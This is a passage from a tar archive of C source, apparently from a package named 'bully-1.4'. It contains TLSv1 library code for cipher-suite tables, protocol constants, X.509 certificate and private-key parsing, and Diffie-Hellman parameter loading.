{ TLS_RSA_WITH_RC4_128_SHA, TLS_KEY_X_RSA, TLS_CIPHER_RC4_128,
TLS_HASH_SHA },
{ TLS_RSA_WITH_DES_CBC_SHA, TLS_KEY_X_RSA, TLS_CIPHER_DES_CBC,
TLS_HASH_SHA },
{ TLS_RSA_WITH_3DES_EDE_CBC_SHA, TLS_KEY_X_RSA,
TLS_CIPHER_3DES_EDE_CBC, TLS_HASH_SHA },
{ TLS_DH_anon_WITH_RC4_128_MD5, TLS_KEY_X_DH_anon,
TLS_CIPHER_RC4_128, TLS_HASH_MD5 },
{ TLS_DH_anon_WITH_DES_CBC_SHA, TLS_KEY_X_DH_anon,
TLS_CIPHER_DES_CBC, TLS_HASH_SHA },
{ TLS_DH_anon_WITH_3DES_EDE_CBC_SHA, TLS_KEY_X_DH_anon,
TLS_CIPHER_3DES_EDE_CBC, TLS_HASH_SHA },
{ TLS_RSA_WITH_AES_128_CBC_SHA, TLS_KEY_X_RSA, TLS_CIPHER_AES_128_CBC,
TLS_HASH_SHA },
{ TLS_DH_anon_WITH_AES_128_CBC_SHA, TLS_KEY_X_DH_anon,
TLS_CIPHER_AES_128_CBC, TLS_HASH_SHA },
{ TLS_RSA_WITH_AES_256_CBC_SHA, TLS_KEY_X_RSA, TLS_CIPHER_AES_256_CBC,
TLS_HASH_SHA },
{ TLS_DH_anon_WITH_AES_256_CBC_SHA, TLS_KEY_X_DH_anon,
TLS_CIPHER_AES_256_CBC, TLS_HASH_SHA }
};
#define NUM_ELEMS(a) (sizeof(a) / sizeof((a)[0]))
#define NUM_TLS_CIPHER_SUITES NUM_ELEMS(tls_cipher_suites)
static const struct tls_cipher_data tls_ciphers[] = {
{ TLS_CIPHER_NULL, TLS_CIPHER_STREAM, 0, 0, 0,
CRYPTO_CIPHER_NULL },
{ TLS_CIPHER_IDEA_CBC, TLS_CIPHER_BLOCK, 16, 16, 8,
CRYPTO_CIPHER_NULL },
{ TLS_CIPHER_RC2_CBC_40, TLS_CIPHER_BLOCK, 5, 16, 0,
CRYPTO_CIPHER_ALG_RC2 },
{ TLS_CIPHER_RC4_40, TLS_CIPHER_STREAM, 5, 16, 0,
CRYPTO_CIPHER_ALG_RC4 },
{ TLS_CIPHER_RC4_128, TLS_CIPHER_STREAM, 16, 16, 0,
CRYPTO_CIPHER_ALG_RC4 },
{ TLS_CIPHER_DES40_CBC, TLS_CIPHER_BLOCK, 5, 8, 8,
CRYPTO_CIPHER_ALG_DES },
{ TLS_CIPHER_DES_CBC, TLS_CIPHER_BLOCK, 8, 8, 8,
CRYPTO_CIPHER_ALG_DES },
{ TLS_CIPHER_3DES_EDE_CBC, TLS_CIPHER_BLOCK, 24, 24, 8,
CRYPTO_CIPHER_ALG_3DES },
{ TLS_CIPHER_AES_128_CBC, TLS_CIPHER_BLOCK, 16, 16, 16,
CRYPTO_CIPHER_ALG_AES },
{ TLS_CIPHER_AES_256_CBC, TLS_CIPHER_BLOCK, 32, 32, 16,
CRYPTO_CIPHER_ALG_AES }
};
#define NUM_TLS_CIPHER_DATA NUM_ELEMS(tls_ciphers)
/**
* tls_get_cipher_suite - Get TLS cipher suite
* @suite: Cipher suite identifier
* Returns: Pointer to the cipher data or %NULL if not found
*/
const struct tls_cipher_suite * tls_get_cipher_suite(u16 suite)
{
size_t i;
for (i = 0; i < NUM_TLS_CIPHER_SUITES; i++)
if (tls_cipher_suites[i].suite == suite)
return &tls_cipher_suites[i];
return NULL;
}
const struct tls_cipher_data * tls_get_cipher_data(tls_cipher cipher)
{
size_t i;
for (i = 0; i < NUM_TLS_CIPHER_DATA; i++)
if (tls_ciphers[i].cipher == cipher)
return &tls_ciphers[i];
return NULL;
}
int tls_server_key_exchange_allowed(tls_cipher cipher)
{
const struct tls_cipher_suite *suite;
/* RFC 2246, Section 7.4.3 */
suite = tls_get_cipher_suite(cipher);
if (suite == NULL)
return 0;
switch (suite->key_exchange) {
case TLS_KEY_X_DHE_DSS:
case TLS_KEY_X_DHE_DSS_EXPORT:
case TLS_KEY_X_DHE_RSA:
case TLS_KEY_X_DHE_RSA_EXPORT:
case TLS_KEY_X_DH_anon_EXPORT:
case TLS_KEY_X_DH_anon:
return 1;
case TLS_KEY_X_RSA_EXPORT:
return 1 /* FIX: public key len > 512 bits */;
default:
return 0;
}
}
/**
* tls_parse_cert - Parse DER encoded X.509 certificate and get public key
* @buf: ASN.1 DER encoded certificate
* @len: Length of the buffer
* @pk: Buffer for returning the allocated public key
* Returns: 0 on success, -1 on failure
*
* This functions parses an ASN.1 DER encoded X.509 certificate and retrieves
* the public key from it. The caller is responsible for freeing the public key
* by calling crypto_public_key_free().
*/
int tls_parse_cert(const u8 *buf, size_t len, struct crypto_public_key **pk)
{
struct x509_certificate *cert;
wpa_hexdump(MSG_MSGDUMP, "TLSv1: Parse ASN.1 DER certificate",
buf, len);
*pk = crypto_public_key_from_cert(buf, len);
if (*pk)
return 0;
cert = x509_certificate_parse(buf, len);
if (cert == NULL) {
wpa_printf(MSG_DEBUG, "TLSv1: Failed to parse X.509 "
"certificate");
return -1;
}
/* TODO
* verify key usage (must allow encryption)
*
* All certificate profiles, key and cryptographic formats are
* defined by the IETF PKIX working group [PKIX]. When a key
* usage extension is present, the digitalSignature bit must be
* set for the key to be eligible for signing, as described
* above, and the keyEncipherment bit must be present to allow
* encryption, as described above. The keyAgreement bit must be
* set on Diffie-Hellman certificates. (PKIX: RFC 3280)
*/
*pk = crypto_public_key_import(cert->public_key, cert->public_key_len);
x509_certificate_free(cert);
if (*pk == NULL) {
wpa_printf(MSG_ERROR, "TLSv1: Failed to import "
"server public key");
return -1;
}
return 0;
}
int tls_verify_hash_init(struct tls_verify_hash *verify)
{
tls_verify_hash_free(verify);
verify->md5_client = crypto_hash_init(CRYPTO_HASH_ALG_MD5, NULL, 0);
verify->md5_server = crypto_hash_init(CRYPTO_HASH_ALG_MD5, NULL, 0);
verify->md5_cert = crypto_hash_init(CRYPTO_HASH_ALG_MD5, NULL, 0);
verify->sha1_client = crypto_hash_init(CRYPTO_HASH_ALG_SHA1, NULL, 0);
verify->sha1_server = crypto_hash_init(CRYPTO_HASH_ALG_SHA1, NULL, 0);
verify->sha1_cert = crypto_hash_init(CRYPTO_HASH_ALG_SHA1, NULL, 0);
if (verify->md5_client == NULL || verify->md5_server == NULL ||
verify->md5_cert == NULL || verify->sha1_client == NULL ||
verify->sha1_server == NULL || verify->sha1_cert == NULL) {
tls_verify_hash_free(verify);
return -1;
}
return 0;
}
void tls_verify_hash_add(struct tls_verify_hash *verify, const u8 *buf,
size_t len)
{
if (verify->md5_client && verify->sha1_client) {
crypto_hash_update(verify->md5_client, buf, len);
crypto_hash_update(verify->sha1_client, buf, len);
}
if (verify->md5_server && verify->sha1_server) {
crypto_hash_update(verify->md5_server, buf, len);
crypto_hash_update(verify->sha1_server, buf, len);
}
if (verify->md5_cert && verify->sha1_cert) {
crypto_hash_update(verify->md5_cert, buf, len);
crypto_hash_update(verify->sha1_cert, buf, len);
}
}
void tls_verify_hash_free(struct tls_verify_hash *verify)
{
crypto_hash_finish(verify->md5_client, NULL, NULL);
crypto_hash_finish(verify->md5_server, NULL, NULL);
crypto_hash_finish(verify->md5_cert, NULL, NULL);
crypto_hash_finish(verify->sha1_client, NULL, NULL);
crypto_hash_finish(verify->sha1_server, NULL, NULL);
crypto_hash_finish(verify->sha1_cert, NULL, NULL);
verify->md5_client = NULL;
verify->md5_server = NULL;
verify->md5_cert = NULL;
verify->sha1_client = NULL;
verify->sha1_server = NULL;
verify->sha1_cert = NULL;
}
bully-1.4-00/src/tls/tlsv1_common.h 0000775 0000000 0000000 00000016446 13615304636 0017132 0 ustar 00root root 0000000 0000000 /*
* TLSv1 common definitions
* Copyright (c) 2006-2007, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#ifndef TLSV1_COMMON_H
#define TLSV1_COMMON_H
#include "crypto/crypto.h"
#define TLS_VERSION 0x0301 /* TLSv1 */
#define TLS_RANDOM_LEN 32
#define TLS_PRE_MASTER_SECRET_LEN 48
#define TLS_MASTER_SECRET_LEN 48
#define TLS_SESSION_ID_MAX_LEN 32
#define TLS_VERIFY_DATA_LEN 12
/* HandshakeType */
enum {
TLS_HANDSHAKE_TYPE_HELLO_REQUEST = 0,
TLS_HANDSHAKE_TYPE_CLIENT_HELLO = 1,
TLS_HANDSHAKE_TYPE_SERVER_HELLO = 2,
TLS_HANDSHAKE_TYPE_NEW_SESSION_TICKET = 4 /* RFC 4507 */,
TLS_HANDSHAKE_TYPE_CERTIFICATE = 11,
TLS_HANDSHAKE_TYPE_SERVER_KEY_EXCHANGE = 12,
TLS_HANDSHAKE_TYPE_CERTIFICATE_REQUEST = 13,
TLS_HANDSHAKE_TYPE_SERVER_HELLO_DONE = 14,
TLS_HANDSHAKE_TYPE_CERTIFICATE_VERIFY = 15,
TLS_HANDSHAKE_TYPE_CLIENT_KEY_EXCHANGE = 16,
TLS_HANDSHAKE_TYPE_FINISHED = 20,
TLS_HANDSHAKE_TYPE_CERTIFICATE_URL = 21 /* RFC 4366 */,
TLS_HANDSHAKE_TYPE_CERTIFICATE_STATUS = 22 /* RFC 4366 */
};
/* CipherSuite */
#define TLS_NULL_WITH_NULL_NULL 0x0000 /* RFC 2246 */
#define TLS_RSA_WITH_NULL_MD5 0x0001 /* RFC 2246 */
#define TLS_RSA_WITH_NULL_SHA 0x0002 /* RFC 2246 */
#define TLS_RSA_EXPORT_WITH_RC4_40_MD5 0x0003 /* RFC 2246 */
#define TLS_RSA_WITH_RC4_128_MD5 0x0004 /* RFC 2246 */
#define TLS_RSA_WITH_RC4_128_SHA 0x0005 /* RFC 2246 */
#define TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5 0x0006 /* RFC 2246 */
#define TLS_RSA_WITH_IDEA_CBC_SHA 0x0007 /* RFC 2246 */
#define TLS_RSA_EXPORT_WITH_DES40_CBC_SHA 0x0008 /* RFC 2246 */
#define TLS_RSA_WITH_DES_CBC_SHA 0x0009 /* RFC 2246 */
#define TLS_RSA_WITH_3DES_EDE_CBC_SHA 0x000A /* RFC 2246 */
#define TLS_DH_DSS_EXPORT_WITH_DES40_CBC_SHA 0x000B /* RFC 2246 */
#define TLS_DH_DSS_WITH_DES_CBC_SHA 0x000C /* RFC 2246 */
#define TLS_DH_DSS_WITH_3DES_EDE_CBC_SHA 0x000D /* RFC 2246 */
#define TLS_DH_RSA_EXPORT_WITH_DES40_CBC_SHA 0x000E /* RFC 2246 */
#define TLS_DH_RSA_WITH_DES_CBC_SHA 0x000F /* RFC 2246 */
#define TLS_DH_RSA_WITH_3DES_EDE_CBC_SHA 0x0010 /* RFC 2246 */
#define TLS_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA 0x0011 /* RFC 2246 */
#define TLS_DHE_DSS_WITH_DES_CBC_SHA 0x0012 /* RFC 2246 */
#define TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA 0x0013 /* RFC 2246 */
#define TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA 0x0014 /* RFC 2246 */
#define TLS_DHE_RSA_WITH_DES_CBC_SHA 0x0015 /* RFC 2246 */
#define TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA 0x0016 /* RFC 2246 */
#define TLS_DH_anon_EXPORT_WITH_RC4_40_MD5 0x0017 /* RFC 2246 */
#define TLS_DH_anon_WITH_RC4_128_MD5 0x0018 /* RFC 2246 */
#define TLS_DH_anon_EXPORT_WITH_DES40_CBC_SHA 0x0019 /* RFC 2246 */
#define TLS_DH_anon_WITH_DES_CBC_SHA 0x001A /* RFC 2246 */
#define TLS_DH_anon_WITH_3DES_EDE_CBC_SHA 0x001B /* RFC 2246 */
#define TLS_RSA_WITH_AES_128_CBC_SHA 0x002F /* RFC 3268 */
#define TLS_DH_DSS_WITH_AES_128_CBC_SHA 0x0030 /* RFC 3268 */
#define TLS_DH_RSA_WITH_AES_128_CBC_SHA 0x0031 /* RFC 3268 */
#define TLS_DHE_DSS_WITH_AES_128_CBC_SHA 0x0032 /* RFC 3268 */
#define TLS_DHE_RSA_WITH_AES_128_CBC_SHA 0x0033 /* RFC 3268 */
#define TLS_DH_anon_WITH_AES_128_CBC_SHA 0x0034 /* RFC 3268 */
#define TLS_RSA_WITH_AES_256_CBC_SHA 0x0035 /* RFC 3268 */
#define TLS_DH_DSS_WITH_AES_256_CBC_SHA 0x0036 /* RFC 3268 */
#define TLS_DH_RSA_WITH_AES_256_CBC_SHA 0x0037 /* RFC 3268 */
#define TLS_DHE_DSS_WITH_AES_256_CBC_SHA 0x0038 /* RFC 3268 */
#define TLS_DHE_RSA_WITH_AES_256_CBC_SHA 0x0039 /* RFC 3268 */
#define TLS_DH_anon_WITH_AES_256_CBC_SHA 0x003A /* RFC 3268 */
/* CompressionMethod */
#define TLS_COMPRESSION_NULL 0
/* AlertLevel */
#define TLS_ALERT_LEVEL_WARNING 1
#define TLS_ALERT_LEVEL_FATAL 2
/* AlertDescription */
#define TLS_ALERT_CLOSE_NOTIFY 0
#define TLS_ALERT_UNEXPECTED_MESSAGE 10
#define TLS_ALERT_BAD_RECORD_MAC 20
#define TLS_ALERT_DECRYPTION_FAILED 21
#define TLS_ALERT_RECORD_OVERFLOW 22
#define TLS_ALERT_DECOMPRESSION_FAILURE 30
#define TLS_ALERT_HANDSHAKE_FAILURE 40
#define TLS_ALERT_BAD_CERTIFICATE 42
#define TLS_ALERT_UNSUPPORTED_CERTIFICATE 43
#define TLS_ALERT_CERTIFICATE_REVOKED 44
#define TLS_ALERT_CERTIFICATE_EXPIRED 45
#define TLS_ALERT_CERTIFICATE_UNKNOWN 46
#define TLS_ALERT_ILLEGAL_PARAMETER 47
#define TLS_ALERT_UNKNOWN_CA 48
#define TLS_ALERT_ACCESS_DENIED 49
#define TLS_ALERT_DECODE_ERROR 50
#define TLS_ALERT_DECRYPT_ERROR 51
#define TLS_ALERT_EXPORT_RESTRICTION 60
#define TLS_ALERT_PROTOCOL_VERSION 70
#define TLS_ALERT_INSUFFICIENT_SECURITY 71
#define TLS_ALERT_INTERNAL_ERROR 80
#define TLS_ALERT_USER_CANCELED 90
#define TLS_ALERT_NO_RENEGOTIATION 100
#define TLS_ALERT_UNSUPPORTED_EXTENSION 110 /* RFC 4366 */
#define TLS_ALERT_CERTIFICATE_UNOBTAINABLE 111 /* RFC 4366 */
#define TLS_ALERT_UNRECOGNIZED_NAME 112 /* RFC 4366 */
#define TLS_ALERT_BAD_CERTIFICATE_STATUS_RESPONSE 113 /* RFC 4366 */
#define TLS_ALERT_BAD_CERTIFICATE_HASH_VALUE 114 /* RFC 4366 */
/* ChangeCipherSpec */
enum {
TLS_CHANGE_CIPHER_SPEC = 1
};
/* TLS Extensions */
#define TLS_EXT_SERVER_NAME 0 /* RFC 4366 */
#define TLS_EXT_MAX_FRAGMENT_LENGTH 1 /* RFC 4366 */
#define TLS_EXT_CLIENT_CERTIFICATE_URL 2 /* RFC 4366 */
#define TLS_EXT_TRUSTED_CA_KEYS 3 /* RFC 4366 */
#define TLS_EXT_TRUNCATED_HMAC 4 /* RFC 4366 */
#define TLS_EXT_STATUS_REQUEST 5 /* RFC 4366 */
#define TLS_EXT_SESSION_TICKET 35 /* RFC 4507 */
#define TLS_EXT_PAC_OPAQUE TLS_EXT_SESSION_TICKET /* EAP-FAST terminology */
typedef enum {
TLS_KEY_X_NULL,
TLS_KEY_X_RSA,
TLS_KEY_X_RSA_EXPORT,
TLS_KEY_X_DH_DSS_EXPORT,
TLS_KEY_X_DH_DSS,
TLS_KEY_X_DH_RSA_EXPORT,
TLS_KEY_X_DH_RSA,
TLS_KEY_X_DHE_DSS_EXPORT,
TLS_KEY_X_DHE_DSS,
TLS_KEY_X_DHE_RSA_EXPORT,
TLS_KEY_X_DHE_RSA,
TLS_KEY_X_DH_anon_EXPORT,
TLS_KEY_X_DH_anon
} tls_key_exchange;
typedef enum {
TLS_CIPHER_NULL,
TLS_CIPHER_RC4_40,
TLS_CIPHER_RC4_128,
TLS_CIPHER_RC2_CBC_40,
TLS_CIPHER_IDEA_CBC,
TLS_CIPHER_DES40_CBC,
TLS_CIPHER_DES_CBC,
TLS_CIPHER_3DES_EDE_CBC,
TLS_CIPHER_AES_128_CBC,
TLS_CIPHER_AES_256_CBC
} tls_cipher;
typedef enum {
TLS_HASH_NULL,
TLS_HASH_MD5,
TLS_HASH_SHA
} tls_hash;
struct tls_cipher_suite {
u16 suite;
tls_key_exchange key_exchange;
tls_cipher cipher;
tls_hash hash;
};
typedef enum {
TLS_CIPHER_STREAM,
TLS_CIPHER_BLOCK
} tls_cipher_type;
struct tls_cipher_data {
tls_cipher cipher;
tls_cipher_type type;
size_t key_material;
size_t expanded_key_material;
size_t block_size; /* also iv_size */
enum crypto_cipher_alg alg;
};
struct tls_verify_hash {
struct crypto_hash *md5_client;
struct crypto_hash *sha1_client;
struct crypto_hash *md5_server;
struct crypto_hash *sha1_server;
struct crypto_hash *md5_cert;
struct crypto_hash *sha1_cert;
};
const struct tls_cipher_suite * tls_get_cipher_suite(u16 suite);
const struct tls_cipher_data * tls_get_cipher_data(tls_cipher cipher);
int tls_server_key_exchange_allowed(tls_cipher cipher);
int tls_parse_cert(const u8 *buf, size_t len, struct crypto_public_key **pk);
int tls_verify_hash_init(struct tls_verify_hash *verify);
void tls_verify_hash_add(struct tls_verify_hash *verify, const u8 *buf,
size_t len);
void tls_verify_hash_free(struct tls_verify_hash *verify);
#endif /* TLSV1_COMMON_H */
bully-1.4-00/src/tls/tlsv1_cred.c 0000775 0000000 0000000 00000027416 13615304636 0016551 0 ustar 00root root 0000000 0000000 /*
* TLSv1 credentials
* Copyright (c) 2006-2009, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#include "includes.h"
#include "common.h"
#include "base64.h"
#include "crypto/crypto.h"
#include "x509v3.h"
#include "tlsv1_cred.h"
struct tlsv1_credentials * tlsv1_cred_alloc(void)
{
struct tlsv1_credentials *cred;
cred = os_zalloc(sizeof(*cred));
return cred;
}
void tlsv1_cred_free(struct tlsv1_credentials *cred)
{
if (cred == NULL)
return;
x509_certificate_chain_free(cred->trusted_certs);
x509_certificate_chain_free(cred->cert);
crypto_private_key_free(cred->key);
os_free(cred->dh_p);
os_free(cred->dh_g);
os_free(cred);
}
static int tlsv1_add_cert_der(struct x509_certificate **chain,
const u8 *buf, size_t len)
{
struct x509_certificate *cert;
char name[128];
cert = x509_certificate_parse(buf, len);
if (cert == NULL) {
wpa_printf(MSG_INFO, "TLSv1: %s - failed to parse certificate",
__func__);
return -1;
}
cert->next = *chain;
*chain = cert;
x509_name_string(&cert->subject, name, sizeof(name));
wpa_printf(MSG_DEBUG, "TLSv1: Added certificate: %s", name);
return 0;
}
static const char *pem_cert_begin = "-----BEGIN CERTIFICATE-----";
static const char *pem_cert_end = "-----END CERTIFICATE-----";
static const char *pem_key_begin = "-----BEGIN RSA PRIVATE KEY-----";
static const char *pem_key_end = "-----END RSA PRIVATE KEY-----";
static const char *pem_key2_begin = "-----BEGIN PRIVATE KEY-----";
static const char *pem_key2_end = "-----END PRIVATE KEY-----";
static const char *pem_key_enc_begin = "-----BEGIN ENCRYPTED PRIVATE KEY-----";
static const char *pem_key_enc_end = "-----END ENCRYPTED PRIVATE KEY-----";
static const u8 * search_tag(const char *tag, const u8 *buf, size_t len)
{
size_t i, plen;
plen = os_strlen(tag);
if (len < plen)
return NULL;
for (i = 0; i < len - plen; i++) {
if (os_memcmp(buf + i, tag, plen) == 0)
return buf + i;
}
return NULL;
}
static int tlsv1_add_cert(struct x509_certificate **chain,
const u8 *buf, size_t len)
{
const u8 *pos, *end;
unsigned char *der;
size_t der_len;
pos = search_tag(pem_cert_begin, buf, len);
if (!pos) {
wpa_printf(MSG_DEBUG, "TLSv1: No PEM certificate tag found - "
"assume DER format");
return tlsv1_add_cert_der(chain, buf, len);
}
wpa_printf(MSG_DEBUG, "TLSv1: Converting PEM format certificate into "
"DER format");
while (pos) {
pos += os_strlen(pem_cert_begin);
end = search_tag(pem_cert_end, pos, buf + len - pos);
if (end == NULL) {
wpa_printf(MSG_INFO, "TLSv1: Could not find PEM "
"certificate end tag (%s)", pem_cert_end);
return -1;
}
der = base64_decode(pos, end - pos, &der_len);
if (der == NULL) {
wpa_printf(MSG_INFO, "TLSv1: Could not decode PEM "
"certificate");
return -1;
}
if (tlsv1_add_cert_der(chain, der, der_len) < 0) {
wpa_printf(MSG_INFO, "TLSv1: Failed to parse PEM "
"certificate after DER conversion");
os_free(der);
return -1;
}
os_free(der);
end += os_strlen(pem_cert_end);
pos = search_tag(pem_cert_begin, end, buf + len - end);
}
return 0;
}
static int tlsv1_set_cert_chain(struct x509_certificate **chain,
const char *cert, const u8 *cert_blob,
size_t cert_blob_len)
{
if (cert_blob)
return tlsv1_add_cert(chain, cert_blob, cert_blob_len);
if (cert) {
u8 *buf;
size_t len;
int ret;
buf = (u8 *) os_readfile(cert, &len);
if (buf == NULL) {
wpa_printf(MSG_INFO, "TLSv1: Failed to read '%s'",
cert);
return -1;
}
ret = tlsv1_add_cert(chain, buf, len);
os_free(buf);
return ret;
}
return 0;
}
/**
* tlsv1_set_ca_cert - Set trusted CA certificate(s)
* @cred: TLSv1 credentials from tlsv1_cred_alloc()
* @cert: File or reference name for X.509 certificate in PEM or DER format
* @cert_blob: cert as inlined data or %NULL if not used
* @cert_blob_len: ca_cert_blob length
* @path: Path to CA certificates (not yet supported)
* Returns: 0 on success, -1 on failure
*/
int tlsv1_set_ca_cert(struct tlsv1_credentials *cred, const char *cert,
const u8 *cert_blob, size_t cert_blob_len,
const char *path)
{
if (tlsv1_set_cert_chain(&cred->trusted_certs, cert,
cert_blob, cert_blob_len) < 0)
return -1;
if (path) {
/* TODO: add support for reading number of certificate files */
wpa_printf(MSG_INFO, "TLSv1: Use of CA certificate directory "
"not yet supported");
return -1;
}
return 0;
}
/**
* tlsv1_set_cert - Set certificate
* @cred: TLSv1 credentials from tlsv1_cred_alloc()
* @cert: File or reference name for X.509 certificate in PEM or DER format
* @cert_blob: cert as inlined data or %NULL if not used
* @cert_blob_len: cert_blob length
* Returns: 0 on success, -1 on failure
*/
int tlsv1_set_cert(struct tlsv1_credentials *cred, const char *cert,
const u8 *cert_blob, size_t cert_blob_len)
{
return tlsv1_set_cert_chain(&cred->cert, cert,
cert_blob, cert_blob_len);
}
static struct crypto_private_key * tlsv1_set_key_pem(const u8 *key, size_t len)
{
const u8 *pos, *end;
unsigned char *der;
size_t der_len;
struct crypto_private_key *pkey;
pos = search_tag(pem_key_begin, key, len);
if (!pos) {
pos = search_tag(pem_key2_begin, key, len);
if (!pos)
return NULL;
pos += os_strlen(pem_key2_begin);
end = search_tag(pem_key2_end, pos, key + len - pos);
if (!end)
return NULL;
} else {
pos += os_strlen(pem_key_begin);
end = search_tag(pem_key_end, pos, key + len - pos);
if (!end)
return NULL;
}
der = base64_decode(pos, end - pos, &der_len);
if (!der)
return NULL;
pkey = crypto_private_key_import(der, der_len, NULL);
os_free(der);
return pkey;
}
static struct crypto_private_key * tlsv1_set_key_enc_pem(const u8 *key,
size_t len,
const char *passwd)
{
const u8 *pos, *end;
unsigned char *der;
size_t der_len;
struct crypto_private_key *pkey;
if (passwd == NULL)
return NULL;
pos = search_tag(pem_key_enc_begin, key, len);
if (!pos)
return NULL;
pos += os_strlen(pem_key_enc_begin);
end = search_tag(pem_key_enc_end, pos, key + len - pos);
if (!end)
return NULL;
der = base64_decode(pos, end - pos, &der_len);
if (!der)
return NULL;
pkey = crypto_private_key_import(der, der_len, passwd);
os_free(der);
return pkey;
}
static int tlsv1_set_key(struct tlsv1_credentials *cred,
const u8 *key, size_t len, const char *passwd)
{
cred->key = crypto_private_key_import(key, len, passwd);
if (cred->key == NULL)
cred->key = tlsv1_set_key_pem(key, len);
if (cred->key == NULL)
cred->key = tlsv1_set_key_enc_pem(key, len, passwd);
if (cred->key == NULL) {
wpa_printf(MSG_INFO, "TLSv1: Failed to parse private key");
return -1;
}
return 0;
}
/**
* tlsv1_set_private_key - Set private key
* @cred: TLSv1 credentials from tlsv1_cred_alloc()
* @private_key: File or reference name for the key in PEM or DER format
* @private_key_passwd: Passphrase for decrypted private key, %NULL if no
* passphrase is used.
* @private_key_blob: private_key as inlined data or %NULL if not used
* @private_key_blob_len: private_key_blob length
* Returns: 0 on success, -1 on failure
*/
int tlsv1_set_private_key(struct tlsv1_credentials *cred,
const char *private_key,
const char *private_key_passwd,
const u8 *private_key_blob,
size_t private_key_blob_len)
{
crypto_private_key_free(cred->key);
cred->key = NULL;
if (private_key_blob)
return tlsv1_set_key(cred, private_key_blob,
private_key_blob_len,
private_key_passwd);
if (private_key) {
u8 *buf;
size_t len;
int ret;
buf = (u8 *) os_readfile(private_key, &len);
if (buf == NULL) {
wpa_printf(MSG_INFO, "TLSv1: Failed to read '%s'",
private_key);
return -1;
}
ret = tlsv1_set_key(cred, buf, len, private_key_passwd);
os_free(buf);
return ret;
}
return 0;
}
static int tlsv1_set_dhparams_der(struct tlsv1_credentials *cred,
const u8 *dh, size_t len)
{
struct asn1_hdr hdr;
const u8 *pos, *end;
pos = dh;
end = dh + len;
/*
* DHParameter ::= SEQUENCE {
* prime INTEGER, -- p
* base INTEGER, -- g
* privateValueLength INTEGER OPTIONAL }
*/
/* DHParamer ::= SEQUENCE */
if (asn1_get_next(pos, len, &hdr) < 0 ||
hdr.class != ASN1_CLASS_UNIVERSAL ||
hdr.tag != ASN1_TAG_SEQUENCE) {
wpa_printf(MSG_DEBUG, "DH: DH parameters did not start with a "
"valid SEQUENCE - found class %d tag 0x%x",
hdr.class, hdr.tag);
return -1;
}
pos = hdr.payload;
/* prime INTEGER */
if (asn1_get_next(pos, end - pos, &hdr) < 0)
return -1;
if (hdr.class != ASN1_CLASS_UNIVERSAL ||
hdr.tag != ASN1_TAG_INTEGER) {
wpa_printf(MSG_DEBUG, "DH: No INTEGER tag found for p; "
"class=%d tag=0x%x", hdr.class, hdr.tag);
return -1;
}
wpa_hexdump(MSG_MSGDUMP, "DH: prime (p)", hdr.payload, hdr.length);
if (hdr.length == 0)
return -1;
os_free(cred->dh_p);
cred->dh_p = os_malloc(hdr.length);
if (cred->dh_p == NULL)
return -1;
os_memcpy(cred->dh_p, hdr.payload, hdr.length);
cred->dh_p_len = hdr.length;
pos = hdr.payload + hdr.length;
/* base INTEGER */
if (asn1_get_next(pos, end - pos, &hdr) < 0)
return -1;
if (hdr.class != ASN1_CLASS_UNIVERSAL ||
hdr.tag != ASN1_TAG_INTEGER) {
wpa_printf(MSG_DEBUG, "DH: No INTEGER tag found for g; "
"class=%d tag=0x%x", hdr.class, hdr.tag);
return -1;
}
wpa_hexdump(MSG_MSGDUMP, "DH: base (g)", hdr.payload, hdr.length);
if (hdr.length == 0)
return -1;
os_free(cred->dh_g);
cred->dh_g = os_malloc(hdr.length);
if (cred->dh_g == NULL)
return -1;
os_memcpy(cred->dh_g, hdr.payload, hdr.length);
cred->dh_g_len = hdr.length;
return 0;
}
static const char *pem_dhparams_begin = "-----BEGIN DH PARAMETERS-----";
static const char *pem_dhparams_end = "-----END DH PARAMETERS-----";
static int tlsv1_set_dhparams_blob(struct tlsv1_credentials *cred,
const u8 *buf, size_t len)
{
const u8 *pos, *end;
unsigned char *der;
size_t der_len;
pos = search_tag(pem_dhparams_begin, buf, len);
if (!pos) {
wpa_printf(MSG_DEBUG, "TLSv1: No PEM dhparams tag found - "
"assume DER format");
return tlsv1_set_dhparams_der(cred, buf, len);
}
wpa_printf(MSG_DEBUG, "TLSv1: Converting PEM format dhparams into DER "
"format");
pos += os_strlen(pem_dhparams_begin);
end = search_tag(pem_dhparams_end, pos, buf + len - pos);
if (end == NULL) {
wpa_printf(MSG_INFO, "TLSv1: Could not find PEM dhparams end "
"tag (%s)", pem_dhparams_end);
return -1;
}
der = base64_decode(pos, end - pos, &der_len);
if (der == NULL) {
wpa_printf(MSG_INFO, "TLSv1: Could not decode PEM dhparams");
return -1;
}
if (tlsv1_set_dhparams_der(cred, der, der_len) < 0) {
wpa_printf(MSG_INFO, "TLSv1: Failed to parse PEM dhparams "
"DER conversion");
os_free(der);
return -1;
}
os_free(der);
return 0;
}
/**
* tlsv1_set_dhparams - Set Diffie-Hellman parameters
* @cred: TLSv1 credentials from tlsv1_cred_alloc()
* @dh_file: File or reference name for the DH params in PEM or DER format
* @dh_blob: DH params as inlined data or %NULL if not used
* @dh_blob_len: dh_blob length
* Returns: 0 on success, -1 on failure
*/
int tlsv1_set_dhparams(struct tlsv1_credentials *cred, const char *dh_file,
const u8 *dh_blob, size_t dh_blob_len)
{
if (dh_blob)
return tlsv1_set_dhparams_blob(cred, dh_blob, dh_blob_len);
if (dh_file) {
u8 *buf;
size_t len;
int ret;
buf = (u8 *) os_readfile(dh_file, &len);
if (buf == NULL) {
wpa_printf(MSG_INFO, "TLSv1: Failed to read '%s'",
dh_file);
return -1;
}
ret = tlsv1_set_dhparams_blob(cred, buf, len);
os_free(buf);
return ret;
}
return 0;
}
bully-1.4-00/src/tls/tlsv1_cred.h 0000775 0000000 0000000 00000002622 13615304636 0016546 0 ustar 00root root 0000000 0000000 /*
* TLSv1 credentials
* Copyright (c) 2006-2007, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
